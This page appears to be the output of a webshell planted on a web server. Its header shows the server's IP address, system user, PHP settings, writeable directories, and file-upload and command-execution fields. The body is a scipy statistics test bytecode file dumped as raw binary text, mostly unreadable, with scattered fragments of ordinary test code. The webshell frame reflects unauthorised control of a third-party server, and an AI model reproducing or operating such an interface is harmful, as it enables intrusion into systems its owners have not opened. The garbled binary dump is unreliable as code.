403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/stats/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/stats/tests/__pycache__/test_discrete_basic.cpython-311.pyc
�

d�c�N���ddlmZddlmZddlZddlZddlmZddl	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZmZmZddlmZmZddlmZgd�gd	�fZeej e�
��dggz
Zdd
hZ!d�Z"ej#�$d��ej#�%de"����d�����Z&ej#�$d��ej#�%de��d�����Z'ej#�%de��d���Z(ej#�%de��d���Z)ej#�%de��d���Z*d�Z+d�Z,d�Z-d�Z.d�Z/d�Z0ej#�%d gd!���ej#�%d"e��d#�����Z1ej#�%d"e��d$���Z2d%�Z3ej#�%d&e3����d'���Z4d(�Z5ej#�%d)e��d*���Z6d+�Z7dS),�N)�assert_allclose)�stats�)�check_normalization�check_moment�check_mean_expect�check_var_expect�check_skew_expect�check_kurt_expect�
check_entropy�check_private_entropy�check_edge_support�check_named_args�check_random_state_property�check_pickling�check_rvs_broadcast�check_freezing�'check_deprecation_warning_gh5982_moment�)check_deprecation_warning_gh5982_interval)�distdiscrete�invdistdiscrete)�rv_discrete_frozen)r���)皙�����?皙�����?g333333�?g�������?��values��zipfian�
nhypergeomc#��K�t��}tD]V\}}|tvr*tj|||tjj���V�n	||||vfV�|�|���WdS)N)�marks)�setr�distslow�pytest�param�mark�slow�add)�seen�distname�args   �G/usr/lib/python3/dist-packages/scipy/stats/tests/test_discrete_basic.py�cases_test_discrete_basicr0s������5�5�D�%���
��#��x����,�x��h�f�k�>N�O�O�O�O�O�O�O��C���!5�5�5�5�5�����������zignore::RuntimeWarningzdistname,arg,first_casec���	tt|��}n#t$r|}d}YnwxYwtj�d��|j|ddi�}tj|��}|j|�\}}t||||dz��t|||��t||||dz��t||��t|||��t|||��d}t|||||dz��|r�d	}	|j|j|j|j|jg}
d
ddd
d�}|�|d��}t+||||	|
��|dkrt-|��t/||��t1||��t3||��t5|||��|jjtjjkrt=||tj��dSdSdS)N�sample distributioniP��sizei�z cdf_ppfz oth�{�G�z�?z
 chisquare)r�rr�)�randint�	hypergeom�	bernoulli�nchypergeom_walleniusr)�getattrr�	TypeError�np�random�seed�rvs�unique�
check_cdf_ppf�
check_pmf_cdf�	check_othrrr�check_discrete_chisquare�pmf�logpmf�cdf�logcdf�logsf�getr�check_scale_docstringrrrr�	__class__�_entropy�rv_discreter
)
r-r.�
first_case�distfnrA�supp�m�v�alpha�locscale_defaults�meths�spec_k�ks
             r/�test_discrete_basicr[$s@��)����)�)�����)�)�)���(����)�����I�N�N�7����
�&�*��
%�$�
%�
%�C�
�9�S�>�>�D��6�<���D�A�q��&�#�t�X�
�%:�;�;�;��&�#�x�(�(�(�
�f�c�4��F�!2�3�3�3��v�s�#�#�#�+�F�C��B�B�B�-�f�c�8�D�D�D��E��V�S�#�u��l�"�$�$�$��B� ����V�]�F�J��
����� �a�a�+,�.�.���J�J�x��#�#�����C�):�E�B�B�B��,�,�,�!�&�)�)�)�#�F�C�0�0�0��v�s�#�#�#��v�s�#�#�#�	�f�c�8�,�,�,���$��(9�(B�B�B�!�&�#�u�/@�A�A�A�A�A�'B�B�$C�B���)�)zdistname,argc��	tt|��}n#t$r|}d}YnwxYw|j|ddi�\}}}}t|||��t	|||||��t||||��t
|||||��t||||||��|dvrt||||||��t|||d��t|||||zzd��dS)Nr3�moments�mvsk)�zipf�	yulesimonrr)
r<rr=rrrr	r
r�check_moment_frozen)r-r.rRrTrU�srZs       r/�test_momentsrdRs)��)����)�)�����)�)�)���(����)�������s�3�F�3�3�J�A�q�!�Q����X�.�.�.����a��H�-�-�-��f�c�1�h�/�/�/��V�S�!�Q��1�1�1��f�c�1�a��H�5�5�5��,�,�,��&�#�q�!�Q��9�9�9����Q��*�*�*����Q�q��s�U�A�.�.�.�.�.r\zdist,shape_argsc�:�|dv}	tt|��}n%#t$r|}d|j�d|j�d�}YnwxYwtjd��}|j}g}g}t|��D]]}|dzfd|dzzz}	||}
|�	tj
|	|
����|�d	|	d	���^|�	|��|�	|j��t|||||t
jg��dS)
N)�	betabinom�skellamra�dlaplace�nchypergeom_fisherr;zrv_discrete(values=(z, z))rr)rrr)r<rr=�xk�pkr>�zeros�numargs�range�append�full�insertr4r�int_)�dist�
shape_args�
shape_only�distfunc�loc�nargs�allargs�bshaperZ�shp�	param_vals           r/�test_rvs_broadcastr}jsF���I�I�J�C��5�$�'�'�����C�C�C����15����$�'�'�'�B����C����
�(�1�+�+�C���E��G�
�F�
�5�\�\�!�!���1�u�h��q�1�u��%���q�M�	����r�w�s�I�.�.�/�/�/��
�
�a��Q�� � � � ��N�N�3����
�M�M�#�(������$����b�g�Y�O�O�O�O�Os��>�>z	dist,argsc
��	tt|��}n#t$r|}YnwxYwtj�d��tj�dd��dtj�dd��g}|j|�\}}|D]B}tj	|dz
|z||zg|j
dg|�Rd|i�|j
d	g|�Rd|i�g���CdS)
N�M�������rr�
�rw��?)r<rr=r>r?r@r8�support�npt�assert_array_equal�ppf)rs�argsrR�re_locs�_a�_brws       r/�test_ppf_with_locr��s������%�%�����������������I�N�N�7�����y� � ��b�)�)�1�b�i�.?�.?��2�.F�.F�G�G�
�V�^�T�
"�F�B��������
��T�#�X�r�#�v��
�V�Z��
,�d�
,�
,�
,��
,�
,�j�f�j��.M�t�.M�.M�.M��.M�.M�N�	�	�	�	�����'�'z
dist, argsc��	tt|��}n#t$r|}YnwxYwtj�d��tj�dd��dtj�dd��g}|j|�\}}|D]F}||z|dz
|zf}|jdg|�Rd|i�|jd	g|�Rd|i�f}tj
||���Gtj�ddd
���tjd
��tj�ddd
���g}|j|�\}}|D]F}||z|dz
|zf}|jdg|�Rd|i�|jd	g|�Rd|i�f}tj
||���GdS)Nrr�r�rrr�r�rwr�)�r�r4)r<rr=r>r?r@r8r��isfr�r�rl)	rsr�rRr�r�r�rw�expected�ress	         r/�test_isf_with_locr��s�������%�%�����������������I�N�N�7�����y� � ��b�)�)�1�b�i�.?�.?��2�.F�.F�G�G�
�V�^�T�
"�F�B���.�.����8�R�!�V�c�\�)���f�j��,�d�,�,�,��,�,�j�f�j��.L�d�.L�.L�.L��.L�.L�L����x��-�-�-�-��y� � ��b�v� �6�6��x�����y� � ��B�V� �4�4�6�G��V�^�T�
"�F�B���.�.����8�R�!�V�c�\�)���f�j��,�d�,�,�,��,�,�j�f�j��.L�d�.L�.L�.L��.L�.L�L����x��-�-�-�-�.�.r�c���|j|g|�R�}|dtj|��zz
}tj|j|g|�R�||dz��tj|j|j|g|�R�dz
g|�R�||dz��t
|d��sW|j|�\}}|||k}tj|j|j|g|�R�dzg|�R�||jz|dz��dSdS)Nr�z
-roundtrip�:�0�yE>rjz
 ppf-cdf-next)	rIr>�spacingr�r�r��hasattrr��inc)	rRr.rS�msg�cdf_supp�	cdf_supp0r�r��supp1s	         r/rCrC�sa���v�z�$�%��%�%�%�H��2�b�j��2�2�2�2�I���:�6�:�i�6�#�6�6�6���|�!3�5�5�5���:�6�:�j�f�j��&<��&<�&<�&<�t�&C�J�c�J�J�J���|�!3�5�5�5��6�4� � �J�����%���B��T�B�Y�����z�v�z�*�&�*�U�*A�S�*A�*A�*A�D�*H�O�3�O�O�O�$�v�z�1�3��3H�	J�	J�	J�	J�	J�J�Jr1c	�P�t|d��r|j}n>t|jdg|�R�dz
��}t	t||dz����}|j|g|�R�}|j|g|�R����}d\}}|dkrd\}}tj
||dz
||dz
||�	��tj|��}	|	dd
�tj
|	��dzz}
tj|j|
g|�R�d��d}||d
|i�}tj
|�|	dd�|z��tj
|�|	|z������tj|�|
|z��d��dS)Nrjr5rr�)绽���|�=r�rg)��h㈵��>r�r��atol�rtolr�r��?rw)r�rj�intr��listrnrIrG�cumsumr�rr>�asarray�diff�assert_equal)
rRr.r-�index�startind�cdfs�pmfs_cumr�r�rZ�	k_shiftedrwrss
             r/rDrD�s����v�t���5��	����z�v�z�$�-��-�-�-��1�2�2���U�8�X��]�3�3�4�4���6�:�e�"�c�"�"�"�D��v�z�%�&�#�&�&�&�-�-�/�/�H��J�D�$��9����
��d����t�A�w���8�A�;�(>�!��.�.�.�.�	�
�5���A��#�2�#�������A��%�I���Z�V�Z�	�0�C�0�0�0�!�4�4�4��C��6�C� �c� � �D�������1�2�2����-�-�r�w�t�x�x��C��7H�7H�/I�/I�J�J�J���T�X�X�i�#�o�.�.��2�2�2�2�2r1c�b�tj||��|��|dd���dS)Nr�r�)r�r�moment)rRr.rTrZs    r/rbrb�sC��������+�+�A�.�.��"��0�0�0�0�0�0r1c��tj|j|g|�R�d|j|g|�R�z
dd���t	jddd��}tj|j|g|�R�|jd|z
g|�R�dd���|jdg|�R�}tj|j|dz
g|�R�dk��tj|j|dzg|�R�dk��dS)	Nr�r�r�r5�G�z��?�r�r)	r�r�sfrIr>�linspacer�r��assert_)rRr.rSr��q�	median_sfs      r/rErE�s1����	��	�$�-��-�-�-�r�J�F�J�t�4J�c�4J�4J�4J�/J�"��0�0�0�0�	��D�$��#�#�A���
��
�1�+�s�+�+�+�Z�V�Z��Q��-E��-E�-E�-E�"��0�0�0�0���
�3�%��%�%�%�I��K�	��	�)�a�-�.�#�.�.�.��4�5�5�5��K�
��
�9�q�=�/�3�/�/�/�#�5�6�6�6�6�6r1c�p�d}|j|�\}}tt|d����}tt|d����dz}	t	||	��}
d}|g}g}
|
D]V}|j|g|�R�}||z
|dz
kr:|�|��|
�||z
��|}|d|z
krn�W|d|kr-|�|��|
�d|z
��tj|��}tj|
��}
|dz}||d<tj	||��\}}tjtj|��t|��|
z��\}}tj||kd	|�d
t|���dt|������dS)
asPerform chisquare test for random sample of a discrete distribution

    Parameters
    ----------
    distname : string
        name of distribution function
    arg : sequence
        parameters of distribution
    alpha : float
        significance level, threshold for p-value

    Returns
    -------
    result : bool
        0 if test passes, 1 if test fails

    g�������?i���i�rrg�+����=r�r�zchisquare - test for z
 at arg = z
 with pval = N)r�r��max�minrnrIror>�array�	histogramr�	chisquare�lenr�r��str)rRr.rArVr��wsuppr�r��lo�high�distsupport�last�distsupp�distmass�ii�current�histsupp�freq�hsupp�chis�pvals                     r/rFrFs���$
�E��V�^�S�
!�F�B��	�S��U�^�^�	�	�B��s�2�t�}�}����!�D���D�/�/�K��D��t�H��H������&�*�R�&�#�&�&�&���T�>�U�U�]�*�*��O�O�B�����O�O�G�d�N�+�+�+��D��!�e�)�$�$������|�b��������������D��!�!�!��x��!�!�H��x��!�!�H��$��H��H�Q�K��,�s�H�-�-�K�D�%�����$����S���(�1B�C�C�J�D�$��K��u������c�#�h�h�h�h��D�	�	�	�+�,�,�,�,�,r1c�N�|j�tjd|jv��dSdS)N�scale)�__doc__r�r�)rRs r/rMrM8s/��
�~�!���G�6�>�1�2�2�2�2�2�"�!r1�method)rGrHrIrJr�rKr�r�zdistname, argsc���	tt|���n#t$rYdSwxYw|dvrddg}nddg}d�|D��}ddg}�j|g|�Rd|i�}t	j|�fd�t
|g|�|�R�D��d	d	�
��dS)N)r�r�rrrrc��g|]}|gdz��	S)rr )�.0�ps  r/�
<listcomp>z+test_methods_with_lists.<locals>.<listcomp>Ls��	�	�	�A�1�#�a�%�	�	�	r1rwc�$��g|]}�j|���
Sr )rG)r�rUrss  �r/r�z+test_methods_with_lists.<locals>.<listcomp>Ps!���@�@�@�!����1��@�@�@r1�V瞯�<)r�r�)r<rr=rGr�r�zip)r�r-r��z�p2rw�resultrss       @r/�test_methods_with_listsr�>s������u�h�'�'���������������
����
�#�J���
��F��	�	��	�	�	�B��a�&�C�
�T�X�a�
&�"�
&�
&�
&�#�
&�
&�F����@�@�@�@�s�1�/?�r�/?�3�/?�/?�/?�@�@�@�"��0�0�0�0�0�0s��
'�'c��tt|��}tjdd��}|j|g|�R�}tj}t
j||��dS)N����)r<rr>�arangerI�nanr�r�)r-r�rs�x�valsr�s      r/�test_cdf_gh13280_regressionr�Ts]���5�(�#�#�D�
�	�"�b���A��4�8�A������D��v�H���T�8�$�$�$�$�$r1c#�K�ddhi}t��}tD]�\}}||vr�
|�|��	tt|��}n#t
$rY�BwxYw|���}t|��D]B\}}|j|�	|t����vs|j
s�6||j|fV��C��dS)N�nbinom�n)r%rr+r<rr=�_shape_info�	enumerate�namerL�integrality)�integrality_exceptionsr,r-�shapesrs�
shape_info�i�shapes        r/�"cases_test_discrete_integer_shapesr�^s����'���.���5�5�D�(�/�/���&��t�����������	��5�(�+�+�D�D���	�	�	��H�	�����%�%�'�'�
�!�*�-�-�	/�	/�H�A�u��
�4�8�8��3�5�5�I�I�I�I��)�J���E�J��.�.�.�.�.�	/�/�/s�A�
A �A zdistname, shapename, shapesc��tt|��}|���}d�|D��}|�|��}t	|��}||}|dz
}	|dz
}
|g|	g|
gg||<|j|�\}}t
jt
j||d����}
|j	|
g|�R�}t
j
t
j|ddd�f����rJ�t
jt
j|ddd�f����sJ�t
j
t
j|ddd�f����rJ�dS)Nc��g|]	}|j��
Sr )r�)r�r�s  r/r�z'test_integer_shapes.<locals>.<listcomp>}s��6�6�6�%�5�:�6�6�6r1r�rr�rr)
r<rr�r�r�r�r>�roundr�rG�any�isnan�all)r-�	shapenamer�rsr��shape_namesr��shapes_copy�valid_shape�
invalid_shape�new_valid_shape�a�br�rGs               r/�test_integer_shapesrxsZ���5�(�#�#�D��!�!�#�#�J�6�6�:�6�6�6�K����)�$�$�A��v�,�,�K���)�K��#�%�M�!�A�o�O�"�m�m�_��6G�H�K��N��4�<�� �D�A�q�
����Q��1�%�%�&�&�A�
�$�(�1�
#�{�
#�
#�
#�C��v�b�h�s�1�a�a�a�4�y�)�)�*�*�*�*�*�
�6�"�(�3�q�!�!�!�t�9�%�%�&�&�&�&�&��v�b�h�s�1�a�a�a�4�y�)�)�*�*�*�*�*�*�*r1c���d}tjt|���5tjdd��jddd��n#1swxYwYtjt|���5tjdd��jddd��n#1swxYwYdtj_tjdd��}t|t��sJ�ttjd��dS)Nz,'rv_discrete_frozen' object has no attribute)�matchr�r��herring�pdf)
r'�raises�AttributeErrorr�binomr�logpdf�
isinstancer�delattr)�message�frozen_binoms  r/�test_frozen_attributesr�sP��=�G�	��~�W�	5�	5�	5�!�!�
��B���� � �!�!�!�!�!�!�!�!�!�!�!����!�!�!�!�	��~�W�	5�	5�	5�$�$�
��B����#�#�$�$�$�$�$�$�$�$�$�$�$����$�$�$�$��E�K�O��;�r�3�'�'�L��l�$6�7�7�7�7�7��E�K������s#�A�A	�A	�+B�B�Bzdistname, shapesc�f�t|t��rtt|��}n|}|j|�\}}tj|jddgg|�R�|dz
|f��tj|jddgg|�R�|dz
|f��tj|j	dg|�R�|dz
|f��dS)Nrr)
r
r�r<rr�r�r�r�r��interval)r-r�rsrrs     r/�
test_intervalr�s����(�C� � ���u�h�'�'������4�<�� �D�A�q���X�T�X�q�!�f�.�v�.�.�.��1��a��9�9�9���X�T�X�q�!�f�.�v�.�.�.��1��a��9�9�9���]�T�]�1�.�v�.�.�.��1��a��9�9�9�9�9r1c	�X��tj�d��}tj|�d��dz��}|�d��}|tj|��z}tj||f����tjdg|dd����z��|zdz}tj|dd����|ddzgz��|zdz}tj	|��}tjdg|dd����z��|zdz}tj|dd����dgz��|zdz}��
��\}}	t||d��t|	|d��t��|��|��t��|��d��t��|��d��tj
d�	��5t��|��tj|����t��|��tj��t��|��tj��ddd��n#1swxYwYt��|��|��t��|��|��t��|��dg|dd����z��tj
d�	��5t��|��tj��|����d
���t��|��tj��|����d
���t��|��tj��|����d
���ddd��n#1swxYwYt��|��d��|��z
��t��|��d��|��z
��t��|��d��|��z
��tj
d�	��5t��|��tj��|����d
���t��|��tj��|����d
���t��|��tj��|����d
���ddd��n#1swxYwYt��|��|��t��|��|��t��|��dd�|dd���t��d��|dz
��t��d��|	����|��}
t��|
��|��t��d|z
����|����t��d|z
����|����t��d��|	��t��d��|dz
��tjdd
d��}��|dz����|dz��f}t��d|z
��|��t��d��������t��d��|dz
|	f����d��}
t����|
��tj||z��}tj||z
dz|z��}tj||z
dz|z��|dzz}tj||z
dz|z��|dzzdz
}t����|��t����tj|����t����|��t��d���||||f��tj|dz|z��}t��d��|��t��d���d��t����|��t��d���|��tj
d�	��5t���fd����� ����ddd��n#1swxYwYtj�d��}��!d|���}tj�d��}��|�d�����}t||��dS)Nl�K�U[r�rrr�rr�ignore)�divider�)r�r5r�r�rg�?rr_)r^c��dS)Nrr �r�s r/�<lambda>z test_rv_sample.<locals>.<lambda>s��!�r1c��|dzS)Nrr rs r/rz test_rv_sample.<locals>.<lambda>s
��!�Q�$�r1c�.����|��S)N)rH)r�rss �r/rz test_rv_sample.<locals>.<lambda>s���t�{�{�1�~�~�r1�d)r4�random_stater�)"r>r?�default_rng�sort�sumrrPr��tolistr�r�rrG�errstaterH�log�infrIrJr�rKr�r�r�r�median�mean�std�sqrt�varr��expect�entropyrA)�rngrjrk�xk_left�xk_right�cdf2�	cdf2_left�
cdf2_rightrr�sf2�ps�int2�med2�mean2�var2�skew2�kurt2�mom3rA�rvs0rss                     @r/�test_rv_sampler=�s�
���
�)�
�
��
,�
,�C�	�����B���"�$�	%�	%�B�	���B���B��"�&��*�*��B���R��H�-�-�-�D��x���b��"��g�n�n�.�.�.�/�/�"�4�a�7�G����A�B�B������B�r�F�1�H�:�5�6�6��;�Q�>�H��9�R�=�=�D���1�#��S�b�S�	� 0� 0� 2� 2�2�3�3�d�:�A�=�I��(�4����8�?�?�,�,��s�2�3�3�d�:�A�=�J��<�<�>�>�D�A�q��A�r�!�u�����A�r�"�v�����D�H�H�R�L�L�"�%�%�%��D�H�H�X�&�&��*�*�*��D�H�H�W�%�%�q�)�)�)�
��H�	%�	%�	%�7�7�����B��������4�4�4�����H�-�-���w�7�7�7�����G�,�,�r�v�g�6�6�6�7�7�7�7�7�7�7�7�7�7�7����7�7�7�7��D�H�H�R�L�L�$�'�'�'��D�H�H�X�&�&��-�-�-��D�H�H�W�%�%��s�4����9�+;�+;�+=�+=�'=�>�>�>�	��H�	%�	%�	%�$�$�����B�����������)=�)=�"�	$�	$�	$�	$�����H�-�-�r�v�d�h�h�x�6H�6H�/I�/I�"�	$�	$�	$�	$�����G�,�,�b�f�T�X�X�g�5F�5F�.G�.G�"�	$�	$�	$�	$�$�$�$�$�$�$�$�$�$�$�$����$�$�$�$��D�G�G�B�K�K��4�8�8�B�<�<��0�0�0��D�G�G�H�%�%�q����(�);�);�';�<�<�<��D�G�G�G�$�$�a�����(9�(9�&9�:�:�:�	��H�	%�	%�	%�$�$���
�
�2�����t�w�w�r�{�{�(;�(;�"�	$�	$�	$�	$���
�
�8�,�,�b�f�T�W�W�X�5F�5F�.G�.G�"�	$�	$�	$�	$���
�
�7�+�+�R�V�D�G�G�G�4D�4D�-E�-E�"�	$�	$�	$�	$�$�$�$�$�$�$�$�$�$�$�$����$�$�$�$��D�H�H�T�N�N�B�'�'�'��D�H�H�Y�'�'��,�,�,��D�H�H�Z�(�(��"��-�r�!�"�"�v�6�6�6��D�H�H�Q�K�K��Q��'�'�'��D�H�H�Q�K�K��#�#�#��'�'�"�+�+�C��D�H�H�S�M�M�2�&�&�&��D�H�H�Q�y�[�)�)�4�8�8�I�+>�+>�?�?�?��D�H�H�Q�z�\�*�*�D�H�H�Z�,@�,@�A�A�A��D�H�H�Q�K�K��#�#�#��D�H�H�Q�K�K��Q��'�'�'�
��T�4��	$�	$�B��8�8�B�q�D�>�>�4�8�8�B�q�D�>�>�)�D��D�M�M�!�B�$�'�'��.�.�.��D�M�M�!�$�$�d�k�k�m�m�4�4�4��D�M�M�!�$�$�q��s�A�h�/�/�/��8�8�C�=�=�D��D�K�K�M�M�4�(�(�(�
�F�2�b�5�M�M�E�
�6�2��:��/�B�&�'�'�D��F�B��J��?�R�'�(�(�4�#�;�6�E��F�B��J��?�R�'�(�(�4��7�2�Q�6�E��D�I�I�K�K��'�'�'��D�H�H�J�J����
�
�.�.�.��D�H�H�J�J��%�%�%��D�J�J�v�J�.�.���e�U�0K�L�L�L��6�2�q�5�B�,���D��D�K�K��N�N�D�)�)�)��D�K�K���,�,�a�0�0�0��D�K�K�M�M�5�)�)�)��D�K�K���/�/��6�6�6�
��H�	%�	%�	%�P�P�����%=�%=�%=�%=�>�>�>������O�O�O�P�P�P�P�P�P�P�P�P�P�P����P�P�P�P�
�)�
�
��
,�
,�C�
�(�(��#�(�
.�
.�C�
�)�
�
��
,�
,�C��8�8�C�J�J�C�J�(�(�)�)�D��C������sK�BK*�*K.�1K.�CQ<�<R�R�CX2�2X6�9X6�:l�l�l)8�
numpy.testing�testingr�r�numpyr>r'�scipyr�common_testsrrrr	r
rrr
rrrrrrrr�scipy.stats._distr_paramsrr�!scipy.stats._distn_infrastructurerr�rPr&r0r)�filterwarnings�parametrizer[rdr}r�r�rCrDrbrErFrMr�r�r�rrrr=r r1r/�<module>rGsx��������)�)�)�)�)�)�����
�
�
�
�������F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�F�D�C�C�C�C�C�C�C�@�@�@�@�@�@����*�*�*�+���#�%�#�4�0�0�0�"�5�6�6��
�|�$���������4�5�5�����2�4M�4M�4O�4O�P�P�)B�)B�Q�P�6�5�)B�X����4�5�5�������6�6�/�/�7�6�6�5�/�,����*�L�9�9�!P�!P�:�9�!P�H�����l�3�3�
�
�4�3�
� �����|�4�4�.�.�5�4�.�0J�J�J�23�3�3�60�0�0�
7�7�7�5,�5,�5,�p3�3�3������$A�$A�$A�B�B�����)�<�8�8�0�0�9�8�B�B�0�&����)�?�;�;�%�%�<�;�%�/�/�/�4����6�;�;�=�=�?�?�+�+�?�?�+�, � � �����+�\�:�:�:�:�;�:�:�s�s�s�s�sr1

Youez - 2016 - github.com/yon3zu
LinuXploit